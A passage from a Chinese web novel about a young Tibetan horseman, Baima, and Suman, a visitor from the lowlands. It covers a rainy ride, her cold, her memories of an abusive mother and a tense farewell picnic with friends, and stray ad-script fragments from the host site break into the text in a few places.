呷波大概也就十岁出头的样子,有些害羞,但还是挺直了胸板,让自己瞧着像个男子汉的样子。 他的表情严肃又稚气。 苏曼快速啃着手里的锅盔,又跑进屋子里去喝炉上已经热好的奶茶。三下两下就把早餐解决掉了。 最后一把抓起自己的毡帽,戴上跑出了屋子。 三个人牵着三匹马往不知名的草原走去。 呷波走在前面牵着两匹,白玛牵着一匹和苏曼走在后面。 前面的小伙子似乎对白玛和苏曼的事一点都不好奇,他径直往前走,心里想的全是骑马的事。 “姐姐,今天你也骑一下吧。别光坐在那里看我骑了。来都来了,今天多骑一会儿。” 白玛想着今天主要不是他骑马,主要还是让姐姐多体验一下。 在神山脚下,有许多人会把自家的马带过去,等着游客来骑。 大概十分钟收费二十元的样子。若是骑的时间久了,就可以收个五十块。 呷波就经常借白玛的马去做这个事情。 他热爱马,也喜欢钻研马术,视白玛为偶像,所以每次白玛喊他,他都是义不容辞且感到兴奋不已,就像是你热爱的师父喊你去练功一样。 所以,给游客牵马的事,对他来说并不难。这样,他也可以给自己挣些买雪糕和喜虎的钱了。 “好呀!”苏曼越来越放松,现在的她做什么都可以。 还是上次那个地方。白玛和呷波先把地钉打好,将两匹马栓在那里,又把地垫铺上,让苏曼坐好。 然后两个人又开始了打圈圈的形式,在调教那匹马,等马调教顺了,再放开缰绳让它飞奔出去,骑上几个来回,就可以开始练习马背上的动作了。 呷波非常积极的帮白玛牵马,还会跟着马一起跑上一段。 一个小小的人怔怔的站在那里,远远的望着马背上英姿飒爽的白玛,认真极了。 轮到他的时候,白玛也会帮他牵着马,将马控稳,然后他自己努力的爬上马背。 怪不得今天选的马个子都比较小,原来不光是为了迁就苏曼,还有是为了迁就呷波。 他大概也就一米三四的样子,站在马的身边,有时候还没有马背高。 呷波来回骑了半个多小时,两个人都走了回来,准备歇一会儿。 “姐姐,呷波骑的怎么样?我徒弟!” 白玛骄傲的问苏曼,一旁的呷波有些害羞,但是他的眼神是坚定而又自信的。 “骑的好。特别好。” 苏曼由衷的赞赏,他们不愧是马背上长大的民族。 “一会儿你要不要骑会儿?” 白玛拧开一瓶喜虎,对着嘴咕咚咕咚的灌了一大口,然后又从口袋里掏出香烟,点上了一根。 呷波看着白玛手里的香烟,白玛又严肃的警告他不许学大人抽烟,抽烟不好,抽烟费钱。 村子里的人除了每日买饮料喝,就是抽烟最费钱了,其次是打牌。 还好白玛没有打牌的爱好,最多也就是跟在旁边看一看,只为了和兄弟们在一起。 白玛妈妈一开始是不让白玛抽烟的,但是深沉的白玛还是偷偷的学会了,所以到现在为止,他在家里抽烟都是比较少的。 妈妈虽然不再说他了,但是偶尔会念叨:抽烟浪费钱。 浪费钱,对白玛来说,确实会感到罪恶,毕竟妈妈那么勤俭,而他却把钱浪费在这燃烧的烟草上。 二舅舅更是严厉禁止他抽烟,不是说对身体不好,而是在佛教中,烟是魔鬼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,是能控制人心的魔鬼。 所以二舅舅希望白玛可以控制自己的心,不要被魔鬼控制。 但是二舅舅离的太远了,他只能在打视频的时候一遍又一遍的关心着白玛和白玛妈妈,他总是说他很快就要回来了,他回来了以后会如何如何给他们带来更好的生活。 他还要亲自带着小降措去做阿克,他给小降措也规划了很好的未来。 但是一年又一年的过去了,二舅舅始终没有回来。 只是偶尔会跟白玛说,他想买双靴子,但是寺庙里用的手机上不了网,让白玛帮他查一查。 过段时间又会跟白玛说,他想买个IPAD,方便用来在网上学习佛法。 他说他的一个供养人说是要送给他,但是却始终没有给他买,他想让白玛给他在网上买,然后他再把钱转给白玛。 有时候他还会说微信坏了,不会用,让白玛帮他重新弄一下。 他只能用这些生活中的琐碎的事情来“麻烦”白玛,让他们一直保持着密切的联系。 白玛说,他二舅舅是所有舅舅中最爱他的一个,他每天都要不停的跟白玛联系,随时随地的想知道白玛的消息。 虽然这让忙碌的白玛有时候会觉得有压力,两个人之间就会“闹别扭”,但是只要白玛忙完,稍微哄一哄他,他就会继续像以前一样每天“粘”着白玛了。 “等你歇会儿吧,一会儿我再骑。” 骑一会儿是可以的,上次转山的时候也骑了,而且骑的还是山路,同样是白玛帮她牵着,这对苏曼来说不是什么难事。 等白玛的一支烟抽完,白玛就站了起来:“呷波,你在这里等着,我带姐姐去骑马。” “好的,阿布。” “阿布是什么意思啊?是哥哥的意思吗?” 苏曼听小降措也是这样叫白玛。 “对啊。姐姐是阿佳,妈妈是阿妈。” 白玛迎着太阳,眯着眼的看着苏曼,她的好奇,总是能让他感到满足。 “那你以后叫我阿佳吧!” 苏曼心情大好,“阿佳”真好听,听着特别有一种文艺的气息,这真是一种美丽的语言。 “好的,阿佳!” 白玛笑着舔了舔唇,他还是更喜欢叫苏曼“姐姐”,叫“阿佳”真的有一种是自家亲姐姐的感觉,这让他有些不习惯。 姐姐是姐姐,阿佳是阿佳。 白玛把苏曼扶上马,然后牵着马走了一段,他想让马跑起来,不然实在是太无趣了,但是苏曼自己肯定是无法驾驭的。 “姐姐,要不我带你骑吧?这样没意思,跑起来才有意思呢。” 苏曼想了想上次他带她骑过一小段,因为她的“惧怕”而停了下来,而今,他们更加熟悉了,她也不再“惧怕”了。 “行。不过你要骑慢点哈。我还是有些害怕呢。” “好嘞!” 说着白玛就轻松的跨腿上马,坐在了苏曼的身后,双手圈过苏曼,握好缰绳,轻轻“驾”了一声,一夹马腹,马儿就走了起来。 “慢点哈!”苏曼不停叮嘱白玛,生怕他直接就飞了起来。 “放心吧,姐姐。” 白玛骑着马,速度慢慢的快了起来,苏曼靠在白玛宽厚的胸膛,抓紧马背上长长的鬃毛,白玛的胸膛比太阳晒的还要温暖。 40. 第40章 这不是白玛第一次带女孩子这样骑马,他之前也跟呷波在神山脚下带游客骑过,但是和今天的感觉不一样。 苏曼小小的身子,在他怀里,就像是需要保护的一件宝物一样。 马儿跑的越来越快,苏曼紧张的贴住白玛,白玛护的紧紧的,一个劲的往前跑。 跑到很远,呷波都只能看见一个小小的黑色的影子了,才看见白玛转头。 不知不觉间,天色竟然真的阴沉了下来,但是日光还在。 蚕豆般大小的雨滴,打在了还热气腾腾的草地上,从稀疏逐渐变的密集,重重的落在苏曼的头上和白玛的肩膀上。 “姐姐,你看,下雨了。果然下雨了。” “是啊,那我们快回去吧。还挺大的样子呢。” 苏曼是领教过草原上的狂风暴雨的,总是来的措手不及,以及凶猛无比。 断不是那种浇两下就会收手的,而是会一股脑的倾泄下来,无情的砸在大地上。 “嗯。” 白玛给马抽了一鞭子,两个人的脸上开始疯狂的被砸上雨珠,最后变成一片流淌下来。 很快苏曼的头发就湿瘪了下去。 策马雨中奔跑,白玛反而很兴奋,这召唤了他的野性。他一个劲的在雨中冲去,马蹄踏在沾水的草地,湿湿哒哒的。 “呷波!快把马解了!你直接骑回家去!” 白玛没有打算停下来,而是直接带着苏曼继续往前骑,飞奔回家。 “姐姐,我要不要把衣服脱下来,你盖着点?” 白玛看着怀里被雨砸成落汤鸡的苏曼,有些担心。 “不用不用,你穿个短袖也不行的。马上就到家了,没事。” “我行的。” 白玛本来想说,他就是光着不穿都没事,但是还是收回了后边那句话。 呷波骑上一匹马,又牵着一匹,直接也跟在了白玛身后,朝村子的方向奔去。 大大的日光还挂在头顶,天色也不过是由湛蓝变成灰白,而无情的大雨却就这么肆虐了大地,把阳光下的温暖,席卷一空。 苏曼身上开始有些发冷。 白玛迅速吩咐呷波把马牵到马房锁好,然后又跑去杂物房取来牛粪,把屋子里的炉子烧了起来。 “姐姐,你快去擦一下头发,换身干的衣服,我怕你感冒了。待会儿过来烤火。” “好的好的。” 好在只是骑马,还能赶回家来烤火。 若是爬冰川,对苏曼的体格来说,那可真是灾难了。 白玛的决定是对的。 苏曼换好干的衣服,拿着个干毛巾在擦头发。 “白玛,你有吹风机吗?” “没有啊。妈妈之前一直说想要一个来着,但是她又不舍得买。我们去澡堂洗澡,那里都有吹风机的。” “啊,没事。我烤烤就行了。” 苏曼搬了个小凳子,坐到炉子前,歪着头将头发垂下,长长的乌发倾斜下来,散发出阵阵香气。 苏曼一边拨着头发,一边看着楞在那里的白玛。 白玛看到苏曼的脖颈,白的发光,香气袭脑,他瞬间楞在了原地。 “怎么了?这样不行吗?不会烧着头发吧?” “啊!不会的。” 白玛缓过神来,去打开桌上的饭菜,一一放在炉子上热了起来。 他们还没有吃午饭呢,这都已经下午了。 等白玛把饭菜热好,苏曼的头发也干的差不多了,头发毛茸茸的炸了起来,显得她的脸更娇小了。 白玛看着她,就像个柔弱的小女孩一样。 “姐姐,开饭咯。” 白玛心情很好,不知道是因为今天带姐姐骑了马,还是因为此刻的姐姐看着如此可爱。 苏曼把头发挽起,在脑后盘了一个发髻,坐到了旁边的桌子上,白玛把炉子上热好的饭菜又一一搬了过来。 “白玛,你妈妈和妹妹明天该回来了吧?” “对的呢。妈妈估计明天傍晚的时候到,我到时候把你送到酒店,然后先去学校接妹妹,再去车站等妈妈。这样可以吗?” 白玛总是尊重她的意见,总是会问她“这样可以吗”。不像她的母亲,总是命令她,从来也不管她到底想要什么。 “可以的。那明天我们就先睡到自然醒再说吧。” “嗯。好的呢。我明天上午可以收拾收拾马房,不然妈妈回来又要说我把马房弄的脏兮兮的不管了。” 白玛给苏曼碗里夹了一块牛肉: “姐姐,你多吃点,以后可就没有草原上这么好吃的牦牛肉吃了。” 离别总是伤感的,快要离别,却总是惆怅的。 苏曼吃着碗里的牛肉,在想着明天的明天,哪一天她就会再也见不到白玛了。 他们这一生,就这么曾经的交集在一起,又那么自然的分开了。 好像故事的剧本早就写好,但剧中的情绪却由他们来演绎和承受。 苏曼的头有些昏,或许是想的太多了,她定了定神,脑袋有些沉重,又用手摸了摸脸,脸上有些发烫。 “白玛,我好像有些感冒了。你家有感冒药吗?我吃一个压一压。” 这么多年,苏曼家里总是常备各种药物,各种照顾自己的经验都有,吃上一颗药,再好好的睡上一觉,往往感冒就能压下去了。 “啊,不是吧,姐姐,你要感冒了啊?我现在去给你买,你要买什么药你告诉我。” “没事,不急。你吃完饭再说。可能是刚才淋雨了。” 白玛可等不了了,他马上放下筷子,用手擦了擦嘴,穿上外套就准备往外走,外面的雨还是很大,但是他开汽车去,问题不大。 “姐姐,你把要买的药发微信告诉我。我马上就回来。” 说着白玛就冲进了雨中,钻进了他的汽车。 苏曼记得他曾经说过,以前特别羡慕别人家门前停的小汽车,而他家院子里却只有马。 连白玛妈妈的电动车都是去年才买的,去年他挖完虫草下来,就花三千六给阿妈买了一辆电动车,那是最时兴的款式。 高原上的电动车、摩托车,都和汉地不一样,动力都要强上许多。 因为要爬山路,在汉地平原的电动车,往往在这边去不了太多的地方。 可惜最后胆小的白玛妈妈还是没有学会,洛绒表嫂教了她许久,她终于放弃了。 最后反倒是妹妹学会了,之后白玛妈妈要去哪里都是由妹妹载着。 而妹妹的腰上,也骄傲的挂上了一把电动车的钥匙,从来都不离身。 苏曼把要买的几款药发给了白玛,感冒药,消炎药,退烧药,能想到的她都写上了。 汉地人在高原上感 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冒是件非常危险的事情,若不及时压下去,就会发展成肺炎,最后是肺水肿,甚至危及生命。 实在不行,还需要紧急下撤到平原,吸上充足的氧气就好了。 来之前,苏曼也是做了一些功课的。 苏曼把桌上的剩菜剩饭收了起来,安静的坐在炉前烤火,她的脸被烤的越来越烫,也不知道是发烧了,还是炉火的缘故。 等到白玛回来的时候,才听见白玛说:“姐姐,你的脸怎么这么红?没事吧?” “没事没事,估计是火烤的。” 苏曼吃了药,把毛线帽子也戴了起来。 “姐姐,我看你要不晚上也睡厅里吧,厅里挨着炉子暖和些。” 苏曼想了想,好像也是:“行。” 白玛进去把苏曼的被子抱了出来,给她在靠近炉子的长凳上腾出一块地方,细致的铺上。 这是苏曼在白玛家,住的最后一个晚上。 白玛又烧了一大壶热水,给苏曼冲上奶茶。 “姐姐,喝点奶茶,补充能量。” 苏曼一下子被白玛的忙前忙后触动了,她想,以前从来没有人这样照顾过她,生病的时候,都是自己去买药,自己去医院看病。 从来没有。 想着想着,不禁又有些湿了眼。 她捧着热热的奶茶杯子,红着眼睛望着炉子里燃烧的火焰,火苗左右蹿动着,好像曾经的那个自己,在水深火热中的挣扎。 白玛又从妈妈屋里翻出了一个毯子,给苏曼披在了身上。 “姐姐,这个是羊毛的,可暖和了。” 苏曼放下杯子,双手裹紧毯子,望住了白玛的眼睛,他忙前忙后,满是担忧。 “白玛,别忙了,我没事的。你这样我还真是不习惯呢。” “怎么了?” 苏曼抿了抿嘴:“嗯,以前没有人这么照顾过我。所以,我有些不自在。总感觉亏欠了你一样。” “怎么会呢。” 白玛十分的不理解,被人照顾,这不是最正常的事情吗。 可是......苏曼说过,她妈妈不爱她。 白玛蹲在苏曼的眼前,认真的看着她的眼睛: “姐姐,我知道以前没有人照顾你,爱你。但是我希望你不要再去想你妈妈的事了,这个世界上还有那么多人呢,你看,我们都很爱你,你长的好看,又善良,很多人都愿意照顾你的。你不要觉得亏欠,我很愿意照顾你的。” 白玛伸手摸了摸苏曼的额头,帮她拨开额前的长发,非常认真的看着她,他十分心疼。 苏曼的眼睛红了又红,终于忍不住流下了泪水,她接受着火焰与白玛的洗礼,他们给她的温暖,让她的心从内到外的热了起来。 “姐姐,等你回去了,我就不能照顾你了......” 说着白玛的眼睛也跟着湿润了,他还不知道如何去接受苏曼的离开。 “不知道为什么,看着你这个样子,我的心好疼呢。” 白玛飞快的用手臂擦了一下眼睛,然后抱住了裹着毯子的苏曼,埋着头轻声的流泪...... “姐姐,我不想你走......” 白玛像抱着一个他一直珍视着、保护着的礼物,生怕她离开了他的怀抱就会碎掉。 他对苏曼离开后,不能再被他保护着,而感到深深的无助。 41. 第41章 “傻瓜。” 苏曼伸出毯子里的手,转过身来,摸了摸白玛的头,也抱住了他。这个大男孩,对她竟然如此真心。 “白玛,我不会忘记你的。” “我也不会。” 白玛的泪水止不住的一层一层流了出来,他抱的更紧了,生怕一放手,就会失去苏曼。 “姐姐,我好喜欢你。”白玛哭着放纵着自己的情绪,他的心一定要说出来。 “姐姐也喜欢你。” 白玛楞了楞,他说的喜欢,不是姐姐说的这种喜欢。 但是他自己好像也分不太清楚,只是心里堵堵的,乱乱的,好像有什么事情没有搞清楚。 苏曼轻轻拍着白玛的脑袋,像哄着一个孩子。刚才他还是个大男人,转瞬就变成了一个小哭包。 苏曼托起白玛的脸,哄着他:“白玛,别哭了。你看你这么帅的一张脸,怎么能哭成这样呢。” 白玛吸了吸鼻子,手还没有放开,认真的望着苏曼问:“我帅吗?” 苏曼抿着唇笑,学着当地夸人的句式:“帅啊!你是巴龙第一帅!” 白玛的脸阴了下来:“不是这样说的,你要说真心话。我到底帅不帅?” “帅!是真帅。我第一次见你的时候,就觉得你很帅。真心话!” 白玛舔了舔唇,不好意思的又高兴了起来。 “那我帅,还是次仁帅?” 苏曼噗嗤一笑,在白玛箍的紧紧的怀里,想说次仁帅也不行了。 “你帅!” 白玛终于满意了,他抱着苏曼,身子左摇右晃的,很是享受。 “好啦。一会儿我要缺氧啦!” 泪水已干,笑容又回到了两个人的脸上,苏曼扭了扭身子,示意白玛不要再这么紧抱着她了。 白玛恋恋不舍的收回了手,蹲着问:“姐姐,你要不要躺到床上去,盖多几床被子捂一捂汗?” “好。” 苏曼的身子很是疲惫,头也重重的,躺下能更舒服一些。 白玛背过身去,苏曼脱下羽绒服和外裤,钻进了靠近炉子的厚厚的两床被子,撑着身子露个脑袋说:“好啦!” 白玛转过身来,又去拿了两个枕头,托起苏曼的脑袋,帮她垫高。 “姐姐,你还不睡吧。我们说会儿话。”说着白玛搬了凳子靠了过来。 苏曼枕在高高的枕头上,也不用再撑着身子跟白玛说话了。她躺在那里,扑闪着大大的眼睛看着白玛。 白玛心脏跳的厉害,压制的舔了舔唇,他一直在琢磨着自己的心。 “姐姐,你回去你妈妈不会又要欺负你吧?” 虽然白玛不知道苏曼说的“妈妈不爱她”是什么样的,他也想象不出来。 但是看她上次哭的那么伤心,他确定苏曼的妈妈一定不是个好人。 “不会了。我已经长大了。她只是要钱。” “什么你已经长大了,难道小时候她对你不好吗?” 白玛趴在“床”边,瞪着眼睛蹙着眉头,他想知道姐姐小时候受过的苦。 苏曼咬着下唇,眨了眨眼睛,看着那床老式被面,缓缓的说: “嗯......小时候她会打我。” “是你做错了事吗?” 白玛的眉头皱的更紧了。 他做错了事,妈妈也会追着他打,从厅里打到院子里,然后他就会跑到别的小伙伴家里去住,他小时候可真是调皮的很。 “不是。是她不高兴了......就会打。” ...... 白玛的胸腔剧烈的起伏着,他压抑着心中的气愤与不解。 姐姐小时候一定也是个乖孩子,可是她却受了那么多苦。小孩子,是最需要妈妈的爱的。 他终于理解苏曼为什么怕男人,怕亲近了。 因为她的父亲会家暴,她的母亲不爱她。 她从小就没有人照顾她、爱护她,她只能自己一个人面对生活中的所有苦难。 但最害怕的,还是亲近的人,会伤害她。因为这种被亲近人伤害的感觉,从小到大都没有离开过她。 “姐姐,你可以不给你妈妈钱的。你也可以不用再理她了。你可以只当她是陌生人。如果她真的生病了的时候,再说吧。那个时候她也没有办法再伤害你了。” 白玛告诉了苏曼答案,她想不明白的“接受与放下”的答案。 接受它,就是接受已发生的事,不要再为过去痛苦。 放下它,就是不用再去理会这个痛苦或这个人。 但是良心,可以放在对方真正需要的时候,而不是任何时候! “好的。白玛。你说的真好。” “姐姐,你知道吗?为什么佛像有的样子很恐怖呀?就是因为哪怕是佛菩萨也会对坏人示现愤怒的样子。慈悲不是乱用的。姐姐你这么善良,所以才会被人欺负,被人伤害。我一定要教会你这个道理。” 苏曼苦笑的看着认真的白玛,洗干净的长发蓬松的盖着他的脸颊,露出好看的鼻子和饱满的嘴唇,单眼皮的豆豆眼浓密清澈,只是一双乌眉锁的紧紧的。 “我知道了,你别担心了。你说的我都懂了。以后我不会一味的忍耐了。” “嗯。姐姐,你一定要做到!听的时候容易,做的时候很难的呢。” 白玛继续叮嘱着。 苏曼放松下来往枕头上又靠了靠,寻了个舒适的角度,就这么一直望着认真又担心的白玛。 白玛的眉头也渐渐舒展开来:“姐姐,我去给你倒点热奶茶。多喝点水,补充能量。” 白玛是苏曼遇到的最善良的人,最体贴的人,最包容的人,也是最有担当的人。 和他在一起,有满满的安全感。 “如果他真的是我亲弟弟该有多好,那我从小到大,就有他保护了。” 苏曼心里这么想着。 长夜漫长不长,黑暗不暗见光。白玛陪着苏曼在温暖的炉火中,驱散了夜的寒冷,迎来了日的温暖。 太阳高挂,苏曼睡醒一身轻松,窗外的高原鸟在叫,看着像是麻雀。 阳光打进屋里,正好晒在还热着的炉子上,炉里又填了新的牛粪,炉上热着苏曼爱喝的甜奶茶。 白玛笑着走进来,露出他整齐的白牙:“姐姐,你好了吧?” “嗯。好了。吃了药压下去了。今天你妈妈也该回来了吧?” “对呢,她们昨晚凌晨已经上车了,下午应该就能到了,看路上会不会下雪。” “夏天还会下雪啊?”苏曼把被子叠好,抱进了卧室。 “会啊。不过下了的话太阳一晒,两三天就能化掉了。就是一时一时的。” “噢!” 苏曼在卧室里喊:“白玛,我帮你把 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 你妈妈的被单换过来吧。我用过的这些今天洗了吧。” “不用了,下午妹妹回来,她会弄的。” 白玛走进屋内,把苏曼拽了出来:“你不用管了。周末妹妹会洗的。” “你们家有洗衣机吧?”苏曼弱弱的问了一句,若是手洗,那她可是内疚了。 “有的有的。在库房呢。”白玛笑着说, “洗衣机在库房?” “你来。” 白玛带着苏曼走到杂物房,就是那个放牛粪和草料的棚子,旁边果然放着一台老式双缸洗衣机,看上去还很新呢。 苏曼放下心来。 “噢。那就好。” 两人回到屋里吃了早饭,苏曼在院子里晒着太阳,白玛收拾着马房,趁在阿妈回来前,赶紧把马房和院子打扫干净。 到中午的时候,两人一起回了县上,办理了酒店入住。接着又一起找了家餐厅,苏曼说要请白玛好好的吃一顿。 餐厅的小二楼,有一个漂亮的露台,白玛和苏曼就在这里,喝着咖啡,享受着时间的流逝。 “这个餐厅真不错,楼下吃饭,楼上还能喝咖啡,晒太阳。” 苏曼惬意的靠在椅背上,觉得这真是神仙一样的日子。 悠闲与日光相伴,是奢侈的。 白玛:“这个老板是汉地人呢。他们当时装修花了不少钱。我洛绒表哥有帮他们刷墙呢。” 苏曼:“是嘛?不过我看县上好多店的老板都是汉地的,反而没什么你们当地人开呢。” 白玛:“我们当地人不喜欢做这种生意,就卖马卖牛嘛。他们在县上有房子的,就宁愿出租收租金,也不愿意自己开。还有那些民宿客栈也是一样的,都是租给汉地人做。” 苏曼:“也是,收租还是比较爽一些,也不会赔本。” 白玛:“不过有些大酒店是当地的大老板开的,那个投入要几百万呢,一般人也开不起。又要有地,还要投钱。就我们上次庆功宴去的那个酒店嘛,就是我们县上的一个大老板。他老婆孩子都在兰城,他们在兰城买了房子,也在兰城读书呢。” 苏曼:“啊,这个我知道,有钱了就会去兰城买房子嘛,好像这就是你们的理想吧?哈哈。” 白玛:“嗯。肯定的。兰城气候好,要是我阿妈在兰城住,她也就不会生病了。” 白玛说的是高原病。 高原病并不是指汉地人来高原得的病,而是所有人长期生活在缺氧的高原,都会得的病。 包括高原人。甚至他们才是得高原病的主要人群。 “白玛,那你以后赚钱了会不会也去兰城买房子嘛?” 白玛想了想:“当然会啊,不过我是不会去的,主要是让阿妈和妹妹去住。我就在这边养马卖马,我去了兰城,也不知道能做什么嘛,那边又没有草原。” “不是啊,兰城好多你们这边的人在那里做生意呢。有一条很有名的街,全部都是卖你们这边的东西的。你骑马这么好,也可以去一些马术俱乐部做教练啊,能做的事情很多呢。” 白玛挠挠头,呵呵的笑着:“姐姐,我还没有那个实力呢。” 谦虚,白玛跟他阿妈一样,惯性的谦虚。 苏曼举起咖啡杯,跟白玛碰了一个:“那祝你以后赚多多的钱,实力杠杠的。” 他才十九岁呢,这是一个充满许多希望的年纪。 42. 第42章 白玛妈妈终于回来了,这次复查还是老样子。就是做上一堆检查,然后等上个两三天,然后开药,带回来再吃个半年,然后再去复查。 不过这样已经很好了,只要病情没有加重,每年定期去兰城复查,开药,维持着就好。 梅朵把苏曼睡过的床单被套拆了下来,再帮阿妈把床铺好。明天在家,她就可以帮着阿妈洗带回来的脏衣服和这换下来的床单了。 “阿布,明年我不想继续念书了。” 阿妈回来了,家里终于有了人气。梅朵不想再念书了,她想早些回来帮阿妈分担家里。 “你念也是浪费钱,不念就不念吧。” 白玛看阿妈都同意了,也就不再多说什么。 “那你回来打算做什么?”白玛想听听梅朵自己的打算。 “你把舅舅家的牛拉回来嘛,你卖一匹马,再给我买十头牛,我想自己养牛。” 梅朵已经开始有了自己的打算。 她一个女孩子,不会养马,养牛是最适合她的。虽然放牧很苦,一年四季不管刮风下雨,还是大雪冰雹,都要日日不断。 但是,草原上的女人,不都是这样过日子的么。有牛,就有未来。 “可以!等你毕业了再说。你今年先好好读书。” 卖一匹马,对白玛来说不算什么,十头牛可以再生十头,家里有了妹妹这个放牧的劳动力,确实可以养牛了,以后再也不用把牛放在舅舅家寄养了。 “好的。阿布。” 一旁的降措转着机灵的小眼睛,温柔的对白玛说:“阿布,我想读书,我要考大学,我要跟表哥一样当公务员。” 白玛妈妈笑着把他搂进怀里:“好,你这么聪明,你想读就读下去。你去外面读了大学回来,再来村里上班。” “我不要在村里上班,我要去县里上班。” 才八、九岁的降措,就已经看明白了,上班,才是最受尊敬的职业。当然,做阿克也是。 他的命运到底会是如何,谁也不知道。但可以肯定的是,降措,一定是这个家里走的最高、最远的那一个。 - 苏曼躺在酒店里,翻看着这两天的机票,转机连飞是个累人的活,来的时候不觉得,走的时候满是抗拒。 微信弹出,苏曼赶紧调了过去,她以为是白玛,结果是次仁。 “苏曼,你没在村子里了吧?明天我们去耍坝子吧。” 又是耍坝子,草原上的人,最爱的娱乐活动就是耍坝子。 “那叫上白玛一起吧。”苏曼可不敢单独和次仁这个危险的人去耍坝子。 过了一会儿,收到次仁发来的“好”。 这可能是最后一次跟他们出去玩了。苏曼给白玛发了微信,白玛一个电话打来: “姐姐,明天几点啊?我来接你。” “次仁没说呢。” “好,那我问他。” 白玛匆匆挂了电话。 苏曼早早的洗澡洗发,上床睡觉,等待明天的到来。 不幸的是,苏曼同时收到了次仁和白玛两个人的微信。 同样是:“明天八点我来接你。” 苏曼倒吸一口冷气,这最后的聚会,不会要出什么乱子吧。 她给白玛发了条微信:“要不要把曲珍也叫上?” 白玛回:“已经叫了。” ...... 好你个白玛,心眼子也不少。 - 不出所料,一早,白玛和次仁都把车停在了酒店的楼下。 次仁今天开的是他二哥的SUV,个头很大,后备箱里放了天幕帐篷,和一些吃的喝的。 而白玛却什么也没有准备。阿妈回来后,家里的事又多了起来,琐琐碎碎的,也不知道忙了些什么,就是走不开。 “白玛,苏曼都在你家住了那么多天了,今天让她坐我的车。” 次仁和白玛都双手插着裤兜,高高的两个长发帅哥,就那么一起杵在酒店的门口。 白玛从裤兜里掏出香烟点上,再吐出一口,缓缓的说:“你那个车太高了,坐的不舒服,还是我的轿车舒服些。” 次仁冷笑一声:“那让她自己选吧。” 他懒的跟白玛争。 “曲珍呢?”白玛问道, “什么曲珍?我又没叫她。” “我叫啦。四个人才有意思嘛。”白玛歪着嘴,笑眯眯的吐出一口烟。 次仁抿紧嘴瞪了他一眼。 白玛有些焦急的样子,不停的看着手机上的时间。次仁依然是慢慢悠悠、冷冷酷酷的。 苏曼终于冲了下楼,她换上了羊绒大衣,那件红色的羽绒服这些天穿的实在是有些脏了。 “苏曼,你坐我的车。”次仁喊道, “等一下。”白玛也喊道, 苏曼楞在原地,左右看着眼前的两个人,不知道他们葫芦里卖的是什么药。 不一会儿酒店门前停下一辆的士,曲珍从里面钻了出来。 白玛舔着唇,嘴角压不住的笑:“曲珍,你去坐次仁的车。” 说着白玛便拉着苏曼的胳膊,往自己的黑色小轿车走去。 曲珍今天穿了一件浅蓝色的破洞牛仔外套,下面一条深蓝色紧身牛仔裤,露出了她长长的细腿,脸上还施了淡妆,皮肤也更加白皙了。 真不愧是高原美人。 次仁看了曲珍一眼,示意她跟着他走。曲珍乖乖的跟在次仁的身后,两个妙人又站在了一起,真是赏心悦目。 曲珍爬上次仁高高的SUV,次仁点火,熟练的将车移出,开上了大道,跟在白玛的车子后面。 “你买新车啦?” “不是,我二哥的。” 次仁的二哥也算是个当地的小网红,长的很帅,有不少的粉丝。 他也不需要坐家,所以活的比次仁还要潇洒。 唯一的就是,已经英年早婚了。 - “白玛,刚才是怎么回事啊?你没跟次仁说曲珍要来啊?” “这有什么好说的,不想听他啰嗦,来了就来了嘛,他还能把曲珍赶走啊。” 白玛的算盘打的,苏曼听的真切。 车子往神山方向开,在神山脚下不远处,次仁寻了块草肥地干的地方,将后备箱打开,拉出天幕,然后曲珍又帮着铺上了大大的地垫,把车里一堆吃的撒在地垫上。 “哇。真不错喔!”苏曼终于看到他们像样的装备了,再也不是草原上的那种旧帐篷了。 他们几个倒像是来旅游的游客。 四个人围地而坐,看着远处的神山,还有神山脚下骑着马的人。 曲珍挨着次仁坐下,苏曼坐在次仁和白玛之间。 白玛举起喜虎说道:“姐姐快要回去了,我们今天就当是给姐姐提前送行了吧。” “你要回 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去了?”次仁转头望着苏曼。 “嗯,我买好了明天的机票。” “明天?”白玛也转头盯着苏曼。 他没想到姐姐明天就要走,没想到这么快,他以为至少还有个一两天的时间。 “嗯。我就是想着等你妈妈回来了,我就刚好回去了。” 气压一下子变得低了起来,大家都不说话。只有曲珍有些尴尬。 “没事,下次你再来玩嘛。” 苏曼笑笑。下次,也许可能不会有了。 白玛弩着嘴,望向远方,一脸的失落。 “明天我送你。”次仁幽幽的道, 白玛转过头来,凶巴巴的盯着次仁:“我跟姐姐说好了,我送她去机场。我是她的向导。” 他心里难受,像刀绞一样。次仁的主动,更让他心急,感觉别人盯着了自己手中的糖。 他望着苏曼在静静的喝着她的饮料,在想姐姐是不是也不愿意与他分开。 “白玛,你这么激动干嘛,你是吃醋了吗?” 次仁也盯着白玛,今天白玛一直在顶他,这让他很不爽,要不是曲珍在,他才不会吃这个闷亏。 白玛急了:“我吃什么醋!我是向导!” “哼,向导......”次仁冷笑一声。 “次仁你什么意思嘛。”曲珍面子越来越挂不住了。 次仁顶着腮,不说话。 苏曼感觉太尴尬了,她拿起喜虎,站了起来,向神山那边走去。 “我去那边走走。” 白玛马上也站起来跟了上去,留下次仁和曲珍坐在原地。 “姐姐,你别听次仁瞎说。”白玛向苏曼解释, 苏曼回头看了一眼白玛,他的头发被风吹的乱乱的,一脸的焦虑。 “没事啊,反正我明天就要走了。” 苏曼的心情复杂,她好像被牵扯进了这高原,但又好像不算,因为这高原本就不属于她。 “姐姐,那我这是吃醋吗?我也不知道......” “我也不懂这些......” 白玛笑了起来,姐姐和他一样,都没有谈过恋爱。他们才不像次仁那样经验丰富呢,张口闭口就是“我要追你”和“吃醋”这些。 “姐姐,那你真的不会谈恋爱了吗?以后也不会吗?我觉得如果你知道,这个世界上不是所有人都是坏人,不是所有人都会伤害你的话,你是可以选一个好人谈恋爱的。” 白玛走在了苏曼的身边,侧着脸看她。 “我不知道......可能也需要时间吧。” “我就会!我遇到喜欢的,一定会追她,不会去想那么多。”白玛鼓起腮帮子,认真的说着。 苏曼楞了楞,又继续往前走,她很羡慕白玛,纯白干净的像天上的云朵一样,高高的,谁也污染不到。 